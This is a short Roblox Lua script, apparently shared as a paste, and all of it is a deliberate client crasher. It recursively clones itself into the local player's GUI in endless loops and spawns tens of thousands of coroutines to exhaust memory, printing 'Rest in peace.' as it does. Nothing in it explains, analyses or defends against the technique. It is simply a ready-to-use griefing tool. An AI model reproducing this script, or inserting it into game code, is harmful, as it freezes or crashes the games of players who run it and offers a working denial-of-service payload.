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- local plr = game.Players.LocalPlayer
- local rs = game:GetService("RunService")
- function lag()
- while true do
- script:clone().Parent = plr.PlayerGui
- print("Rest in peace.")
- end
- end
- function memoryLeak()
- for i = 1, 50000 do
- coroutine.resume(coroutine.create(function()
- for i = 1, 50000 do
- spawn(lag)
- end
- end))
- end
- end
- while true do
- spawn(memoryLeak)
- end
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